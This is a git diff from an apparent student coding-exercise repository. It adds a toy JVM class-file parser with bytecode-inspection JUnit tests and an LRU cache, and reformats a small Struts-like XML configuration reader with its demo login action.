+		CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+		m.setCodeAttr(codeAttr);
+	    } else {
+		throw new RuntimeException("only Attribute is complemented!");
+	    }
+	    
+	}
+	return m;
+
+    }
+    public String toString(ConstantPool pool) {
+	StringBuffer buffer = new StringBuffer();
+	String name = ((UTF8Info) pool.getConstantInfo(this.nameIndex)).getValue();
+	String desc = ((UTF8Info) pool.getConstantInfo(this.descriptorIndex)).getValue();
+	buffer.append(name).append(":").append(desc).append("\n");
+	buffer.append(this.codeAttr.toString(pool));
+	return buffer.toString();
+    }
+    public ByteCodeCommand[] getCmds() {		
+	return this.getCodeAttr().getCmds();
+}
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/print/ClassFilePrinter.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..6ede47692c
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,51 @@
+package com.github.HarryHook.coding2017.jvm.print;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantInfo;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.constant.FieldRefInfo;
+import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
+import com.github.HarryHook.coding2017.jvm.constant.NameAndTypeInfo;
+import com.github.HarryHook.coding2017.jvm.constant.StringInfo;
+import com.github.HarryHook.coding2017.jvm.constant.UTF8Info;
+import com.github.HarryHook.coding2017.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+    ClassFile clzFile = null;
+
+    public ClassFilePrinter(ClassFile clzFile) {
+	this.clzFile = clzFile;
+    }
+
+    public void print() {
+
+	if (clzFile.getAccessFlag().isPublicClass()) {
+	    System.out.println("Access flag : public  ");
+	}
+	System.out.println("Class Name:" + clzFile.getClassName());
+
+	System.out.println("Super Class Name:" + clzFile.getSuperClassName());
+
+	System.out.println("minor version:" + clzFile.getMinorVersion());
+
+	System.out.println("major version:" + clzFile.getMinorVersion());
+
+	ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+	cnstPoolPrinter.print();
+
+    }
+
+    public static void main(String[] args) {
+	String path = "F:\\Coding2017\\group02\\727171008\\bin";
+	ClassFileLoader loader = new ClassFileLoader();
+	loader.addClassPath(path);
+	String className = "com.github.HarryHook.coding2017.jvm.test.EmployeeV1";
+
+	ClassFile clzFile = loader.loadClass(className);
+
+	ClassFilePrinter printer = new ClassFilePrinter(clzFile);
+
+	printer.print();
+    }
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/print/ConstantPoolPrinter.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..3d6c791185
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,25 @@
+package com.github.HarryHook.coding2017.jvm.print;
+
+import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantInfo;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.constant.FieldRefInfo;
+import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
+import com.github.HarryHook.coding2017.jvm.constant.NameAndTypeInfo;
+import com.github.HarryHook.coding2017.jvm.constant.StringInfo;
+import com.github.HarryHook.coding2017.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		
+		
+		
+	}
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/ClassFileloaderTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..ee7e3b3092
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,342 @@
+package com.github.HarryHook.coding2017.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.clz.ClassIndex;
+import com.github.HarryHook.coding2017.jvm.cmd.BiPushCmd;
+import com.github.HarryHook.coding2017.jvm.cmd.ByteCodeCommand;
+import com.github.HarryHook.coding2017.jvm.cmd.OneOperandCmd;
+import com.github.HarryHook.coding2017.jvm.cmd.TwoOperandCmd;
+import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
+import com.github.HarryHook.coding2017.jvm.constant.NameAndTypeInfo;
+import com.github.HarryHook.coding2017.jvm.constant.UTF8Info;
+import com.github.HarryHook.coding2017.jvm.field.Field;
+import com.github.HarryHook.coding2017.jvm.loader.ClassFileLoader;
+import com.github.HarryHook.coding2017.jvm.method.Method;
+
+
+public class ClassFileloaderTest {
+
+    private static final String FULL_QUALIFIED_CLASS_NAME = "com/github/HarryHook/coding2017/jvm/test/EmployeeV1";
+    static String path1 = "F:\\Coding2017\\group02\\727171008\\bin";
+    // F:\Coding2017\group02\727171008\bin\com\github\HarryHook\coding2017\jvm\test
+    static String path2 = "F:\\temp";
+    
+    static ClassFile clzFile = null;
+    static {
+	ClassFileLoader loader = new ClassFileLoader();
+	loader.addClassPath(path1);
+	String className = "com.github.HarryHook.coding2017.jvm.test.EmployeeV1";
+	clzFile = loader.loadClass(className);
+	clzFile.print();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testClassPath() {
+
+	ClassFileLoader loader = new ClassFileLoader();
+
+	loader.addClassPath(path1);
+	loader.addClassPath(path2);
+
+	String clzPath = loader.getClassPath();
+
+	Assert.assertEquals(path1 + ";" + path2, clzPath);
+
+    }
+
+    @Test
+    public void testClassFileLength() {
+
+	ClassFileLoader loader = new ClassFileLoader();
+	loader.addClassPath(path1);
+
+	String className = "com.github.HarryHook.coding2017.jvm.test.EmployeeV1";
+
+	byte[] byteCodes = loader.readBinaryCode(className);
+	// jdk_1.8.0_111
+	Assert.assertEquals(1090, byteCodes.length);
+
+    }
+
+    @Test
+    public void testMagicNumber() {
+
+	ClassFileLoader loader = new ClassFileLoader();
+	loader.addClassPath(path1);
+	String className = "com.github.HarryHook.coding2017.jvm.test.EmployeeV1";
+	byte[] byteCodes = loader.readBinaryCode(className);
+	byte[] codes = new byte[] { byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3] };
+
+	String acctualValue = this.byteToHexString(codes);
+
+	Assert.assertEquals("cafebabe", acctualValue);
+    }
+
+    private String byteToHexString(byte[] codes) {
+
+	StringBuffer buffer = new StringBuffer();
+	for (int i = 0; i < codes.length; i++) {
+	    byte b = codes[i];
+	    int value = b & 0xFF;
+	    String strHex = Integer.toHexString(value);
+	    if (strHex.length() < 2) {
+		strHex = "0" + strHex;
+	    }
+	    buffer.append(strHex);
+	}
+	return buffer.toString();
+    }
+
+    @Test
+    public void testVersion() {
+
+	Assert.assertEquals(0, clzFile.getMinorVersion());
+	Assert.assertEquals(52, clzFile.getMajorVersion());
+
+    }
+
+    @Test
+    public void testConstantPool() {
+
+	ConstantPool pool = clzFile.getConstantPool();
+
+	Assert.assertEquals(53, pool.getSize());
+
+	{
+	    ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+	    Assert.assertEquals(2, clzInfo.getUtf8Index());
+
+	    UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+	    Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+	}
+	{
+	    ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+	    Assert.assertEquals(4, clzInfo.getUtf8Index());
+
+	    UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+	    Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+	}
+	{
+	    UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+	    Assert.assertEquals("name", utf8Info.getValue());
+
+	    utf8Info = (UTF8Info) pool.getConstantInfo(6);
+	    Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+
+	    utf8Info = (UTF8Info) pool.getConstantInfo(7);
+	    Assert.assertEquals("age", utf8Info.getValue());
+
+	    utf8Info = (UTF8Info) pool.getConstantInfo(8);
+	    Assert.assertEquals("I", utf8Info.getValue());
+
+	    utf8Info = (UTF8Info) pool.getConstantInfo(9);
+	    Assert.assertEquals("<init>", utf8Info.getValue());
+
+	    utf8Info = (UTF8Info) pool.getConstantInfo(10);
+	    Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+
+	    utf8Info = (UTF8Info) pool.getConstantInfo(11);
+	    Assert.assertEquals("Code", utf8Info.getValue());
+	}
+
+	{
+	    MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(12);
+	    Assert.assertEquals(3, methodRef.getClassInfoIndex());
+	    Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+	}
+
+	{
+	    NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+	    Assert.assertEquals(9, nameAndType.getIndex1());
+	    Assert.assertEquals(14, nameAndType.getIndex2());
+	}
+	// 抽查几个吧
+	{
+	    MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(45);
+	    Assert.assertEquals(1, methodRef.getClassInfoIndex());
+	    Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+	}
+
+	{
+	    UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+	    Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+	}
+    }
+
+    @Test
+    public void testClassIndex() {
+
+	ClassIndex clzIndex = clzFile.getClzIndex();
+	ClassInfo thisClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+	ClassInfo superClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+
+	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+   
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+   
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+    /*
+     * 第四次测试
+    */
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/EmployeeV1.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..8926e19e1e
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/EmployeeV1.java
@@ -0,0 +1,30 @@
+package com.github.HarryHook.coding2017.jvm.test;
+
+public class EmployeeV1 {
+
+    private String name;
+    private int age;
+
+    public EmployeeV1(String name, int age) {
+	this.name = name;
+	this.age = age;
+    }
+
+    public void setName(String name) {
+	this.name = name;
+    }
+
+    public void setAge(int age) {
+	this.age = age;
+    }
+
+    public void sayHello() {
+	System.out.println("Hello , this is class Employee ");
+    }
+
+    public static void main(String[] args) {
+	EmployeeV1 p = new EmployeeV1("Andy", 29);
+	p.sayHello();
+
+    }
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/util/Util.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/util/Util.java
new file mode 100644
index 0000000000..0a05d3f49c
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/util/Util.java
@@ -0,0 +1,22 @@
+package com.github.HarryHook.coding2017.jvm.util;
+
+public class Util {
+    public static int byteToInt(byte[] codes) {
+	String s1 = byteToHexString(codes);
+	return Integer.valueOf(s1, 16).intValue();
+    }
+
+    public static String byteToHexString(byte[] codes) {
+	StringBuffer buffer = new StringBuffer();
+	for (int i = 0; i < codes.length; i++) {
+	    byte b = codes[i];
+	    int value = b & 0xFF;
+	    String strHex = Integer.toHexString(value);
+	    if (strHex.length() < 2) {
+		strHex = "0" + strHex;
+	    }
+	    buffer.append(strHex);
+	}
+	return buffer.toString();
+    }
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/linklist/LRUPageFrame.java b/group02/727171008/src/com/github/HarryHook/coding2017/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..b2cf16ceaa
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/linklist/LRUPageFrame.java
@@ -0,0 +1,125 @@
+package com.github.HarryHook.coding2017.linklist;
+
+/**
+ * 用双向链表实现LRU算法
+ * 
+ * @author HarryHook
+ *
+ */
+public class LRUPageFrame {
+
+    private static class Node {
+
+	Node prev;
+	Node next;
+	int pageNum;
+
+	Node() {
+
+	}
+    }
+
+    private int capacity;
+    private int currentSize = 0;
+
+    private Node first;// 链表头
+    private Node last;// 链表尾
+
+    public LRUPageFrame(int capacity) {
+
+	this.capacity = capacity;
+
+    }
+
+    /**
+     * 获取缓存中对象
+     * 
+     * @param pageNum
+     * @return
+     */
+
+    public void access(int pageNum) {
+
+	if (currentSize == 0) {
+	    Node node = new Node();
+	    node.pageNum = pageNum;
+	    node.prev = node.next = null;
+	    first = last = node;
+	    currentSize++;
+	} else {
+
+	    if (first.pageNum == pageNum) {
+		return;
+	    }
+
+	    if (currentSize == 1) {
+		addToFirst(pageNum);
+	    } else {
+
+		if (last.pageNum == pageNum) {
+		    moveLastToFirst();
+		    return;
+		}
+		Node iteratorNode = first;
+		while (iteratorNode.next != null && iteratorNode.pageNum != pageNum) {
+		    iteratorNode = iteratorNode.next;
+		}
+		if (iteratorNode == last) {
+		    addToFirst(pageNum);
+		    // 若缓存已满，移除最后一个节点
+		    if (currentSize > capacity) {
+			last = last.prev;
+			last.next = null;
+		    }
+		} else {
+		    moveToFirst(iteratorNode);
+		}
+	    }
+	}
+    }
+
+    // 将节点/缓存页添加到fitrst
+    public void addToFirst(int pageNum) {
+	Node node = new Node();
+	node.pageNum = pageNum;
+	node.prev = null;
+	node.next = first;
+	first.prev = node;
+	first = node;
+	currentSize++;
+    }
+
+    // 将last节点移动到first
+    public void moveLastToFirst() {
+	last.next = first;
+	first.prev = last;
+	first = last;
+	last = last.prev;
+	last.next = null;
+	first.prev = null;
+    }
+
+    // 将最近使用的已有缓存页移动到first
+    public void moveToFirst(Node iteratorNode) {
+	iteratorNode.prev.next = iteratorNode.next;
+	iteratorNode.next.prev = iteratorNode.prev;
+	iteratorNode.prev = null;
+	iteratorNode.next = first;
+	first.prev = iteratorNode;
+	first = iteratorNode;
+    }
+
+    public String toString() {
+	StringBuilder buffer = new StringBuilder();
+	Node node = first;
+	while (node != null) {
+	    buffer.append(node.pageNum);
+	    node = node.next;
+	    if (node != null) {
+		buffer.append(",");
+	    }
+	}
+	return buffer.toString();
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/linklist/LRUPageFrameTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..f25cb5d5e9
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/linklist/LRUPageFrameTest.java
@@ -0,0 +1,34 @@
+package com.github.HarryHook.coding2017.linklist;
+
+import org.junit.Assert;
+
+import org.junit.Test;
+
+public class LRUPageFrameTest {
+
+    @Test
+    public void testAccess() {
+	LRUPageFrame frame = new LRUPageFrame(3);
+	frame.access(7);
+	Assert.assertEquals("7", frame.toString());
+	frame.access(0);
+	Assert.assertEquals("0,7", frame.toString());
+	frame.access(7);
+	Assert.assertEquals("7,0", frame.toString());
+	frame.access(1);
+	Assert.assertEquals("1,7,0", frame.toString());
+	frame.access(2);
+	Assert.assertEquals("2,1,7", frame.toString());
+	frame.access(0);
+	Assert.assertEquals("0,2,1", frame.toString());
+	frame.access(0);
+	Assert.assertEquals("0,2,1", frame.toString());
+	frame.access(3);
+	Assert.assertEquals("3,0,2", frame.toString());
+	frame.access(0);
+	Assert.assertEquals("0,3,2", frame.toString());
+	frame.access(4);
+	Assert.assertEquals("4,0,3", frame.toString());
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/Configuration.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/Configuration.java
index c44457c58f..f2db5581f5 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/Configuration.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/Configuration.java
@@ -10,88 +10,93 @@
 import org.jdom2.JDOMException;
 import org.jdom2.input.SAXBuilder;
 
-
 public class Configuration {
-	Map<String, ActionConfig> actions = new HashMap<>();
-	
-	public Configuration(String fileName) {
-		String packageName = this.getClass().getPackage().getName();
-		
-		packageName = packageName.replace('.', '/');
-		
-		InputStream is = this.getClass().getResourceAsStream("/" + packageName + "/" + fileName);
-		
-		parseXML(is);
-		
-		try {
-			is.close();
-		}catch(IOException e) {
-			throw new ConfigurationException(e); 
-		}
+    Map<String, ActionConfig> actions = new HashMap<>();
+
+    public Configuration(String fileName) {
+	String packageName = this.getClass().getPackage().getName();
+
+	packageName = packageName.replace('.', '/');
+
+	InputStream is = this.getClass().getResourceAsStream("/" + packageName + "/" + fileName);
+
+	parseXML(is);
+
+	try {
+	    is.close();
+	} catch (IOException e) {
+	    throw new ConfigurationException(e);
 	}
-	private void parseXML(InputStream is) {
-		SAXBuilder builder = new SAXBuilder();
-		
-		try {
-			Document doc = builder.build(is);
-			
-			Element root = doc.getRootElement();
-			
-			for(Element actionElement : root.getChildren("action")) {
-				String actionName = actionElement.getAttributeValue("name");
-				String clzName = actionElement.getAttributeValue("class");
-				
-				ActionConfig ac = new ActionConfig(actionName, clzName);
-				
-				for(Element resultElement : actionElement.getChildren("result")) {
-					String resultName = resultElement.getAttributeValue("name");
-					String viewName = resultElement.getText().trim();
-					
-					ac.addViewResult(resultName, viewName);
-				}
-				this.actions.put(actionName, ac);
-			}
-		}catch(JDOMException e) {
-			throw new ConfigurationException(e);
-			
-		}catch(IOException e) {
-			throw new ConfigurationException(e);
-			
+    }
+
+    private void parseXML(InputStream is) {
+	SAXBuilder builder = new SAXBuilder();
+
+	try {
+	    Document doc = builder.build(is);
+
+	    Element root = doc.getRootElement();
+
+	    for (Element actionElement : root.getChildren("action")) {
+		String actionName = actionElement.getAttributeValue("name");
+		String clzName = actionElement.getAttributeValue("class");
+
+		ActionConfig ac = new ActionConfig(actionName, clzName);
+
+		for (Element resultElement : actionElement.getChildren("result")) {
+		    String resultName = resultElement.getAttributeValue("name");
+		    String viewName = resultElement.getText().trim();
+
+		    ac.addViewResult(resultName, viewName);
 		}
+		this.actions.put(actionName, ac);
+	    }
+	} catch (JDOMException e) {
+	    throw new ConfigurationException(e);
+
+	} catch (IOException e) {
+	    throw new ConfigurationException(e);
+
 	}
+    }
 
-	public String getClassName(String action) {
-		ActionConfig ac = this.actions.get(action);
-		if(ac == null) {
-			return null;
-		}
-		return ac.getClassName(); 
+    public String getClassName(String action) {
+	ActionConfig ac = this.actions.get(action);
+	if (ac == null) {
+	    return null;
 	}
-	public String getResultView(String action, String resultName) {
-		ActionConfig ac = this.actions.get(action);
-		if(ac == null) {
-			return null;
-		}
-		return ac.getViewName(resultName);
+	return ac.getClassName();
+    }
+
+    public String getResultView(String action, String resultName) {
+	ActionConfig ac = this.actions.get(action);
+	if (ac == null) {
+	    return null;
 	}
-	private static class ActionConfig {
-		String name;
-		String clzName;
-		Map<String, String> viewResult = new HashMap<>();
-		
-		public ActionConfig(String actionName, String clzName) {
-			this.clzName = clzName;
-			this.name = actionName;
-		}
-		public String getClassName() {
-			return clzName;
-		}
-		public void addViewResult(String name, String viewName) {
-			viewResult.put(name,  viewName);
-		}
-		public String getViewName(String resultName) {
-			return viewResult.get(resultName);
-		}
-		
+	return ac.getViewName(resultName);
+    }
+
+    private static class ActionConfig {
+	String name;
+	String clzName;
+	Map<String, String> viewResult = new HashMap<>();
+
+	public ActionConfig(String actionName, String clzName) {
+	    this.clzName = clzName;
+	    this.name = actionName;
+	}
+
+	public String getClassName() {
+	    return clzName;
+	}
+
+	public void addViewResult(String name, String viewName) {
+	    viewResult.put(name, viewName);
+	}
+
+	public String getViewName(String resultName) {
+	    return viewResult.get(resultName);
 	}
+
+    }
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ConfigurationException.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ConfigurationException.java
index df763a0ab4..83ab2dbe85 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ConfigurationException.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ConfigurationException.java
@@ -1,18 +1,19 @@
 package com.github.HarryHook.coding2017.litestruts;
 
-
 import java.io.IOException;
 
 import org.jdom2.JDOMException;
 
 public class ConfigurationException extends RuntimeException {
-	public ConfigurationException(String msg) {
-		super(msg);
-	}
-	public ConfigurationException(JDOMException e) {
-		super(e);
-	}
-	public ConfigurationException(IOException e) {
-		super(e);
-	}
+    public ConfigurationException(String msg) {
+	super(msg);
+    }
+
+    public ConfigurationException(JDOMException e) {
+	super(e);
+    }
+
+    public ConfigurationException(IOException e) {
+	super(e);
+    }
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ConfigurationTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ConfigurationTest.java
index 9e25a7974e..114104c87e 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ConfigurationTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ConfigurationTest.java
@@ -6,38 +6,39 @@
 import org.junit.Test;
 
 public class ConfigurationTest {
-    
-	Configuration cfg = new Configuration("struts.xml");
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testGetClassName() {
-		String clzName = cfg.getClassName("login");
-		Assert.assertEquals("com.github.HarryHook.coding2017.litestruts.LoginAction", clzName);
-
-		clzName = cfg.getClassName("logout");
-		Assert.assertEquals("com.github.HarryHook.coding2017.litestruts.LogoutAction", clzName);
-	}
-	
-	@Test
-	public void testGetResultView() {
-		String jsp = cfg.getResultView("login", "success");
-		Assert.assertEquals("/jsp/homepage.jsp", jsp);
-		
-		jsp = cfg.getResultView("login", "fail");
-		Assert.assertEquals("/jsp/showLogin.jsp", jsp);
-		 
-		jsp = cfg.getResultView("logout", "success");
-		Assert.assertEquals("/jsp/welcome.jsp", jsp);
-		
-		jsp = cfg.getResultView("logout", "error");
-		Assert.assertEquals("/jsp/error.jsp", jsp);
-	}
+
+    Configuration cfg = new Configuration("struts.xml");
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testGetClassName() {
+	String clzName = cfg.getClassName("login");
+	Assert.assertEquals("com.github.HarryHook.coding2017.litestruts.LoginAction", clzName);
+
+	clzName = cfg.getClassName("logout");
+	Assert.assertEquals("com.github.HarryHook.coding2017.litestruts.LogoutAction", clzName);
+    }
+
+    @Test
+    public void testGetResultView() {
+	String jsp = cfg.getResultView("login", "success");
+	Assert.assertEquals("/jsp/homepage.jsp", jsp);
+
+	jsp = cfg.getResultView("login", "fail");
+	Assert.assertEquals("/jsp/showLogin.jsp", jsp);
+
+	jsp = cfg.getResultView("logout", "success");
+	Assert.assertEquals("/jsp/welcome.jsp", jsp);
+
+	jsp = cfg.getResultView("logout", "error");
+	Assert.assertEquals("/jsp/error.jsp", jsp);
+    }
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/LoginAction.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/LoginAction.java
index d42f7b0cd6..120d72f1e0 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/LoginAction.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/LoginAction.java
@@ -2,41 +2,42 @@
 
 /**
  * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * 
  * @author liuxin
  *
  */
 public class LoginAction {
-   
-	private String name ;
+
+    private String name;
     private String password;
     private String message;
 
-    public String getName()  {
-        return name;
+    public String getName() {
+	return name;
     }
 
     public String getPassword() {
-        return password;
+	return password;
     }
 
     public String execute() {
-        if("test".equals(name) && "1234".equals(password)) {
-            this.message = "login successful";
-            return "success";
-        }
-        this.message = "login failed,please check your user/pwd";
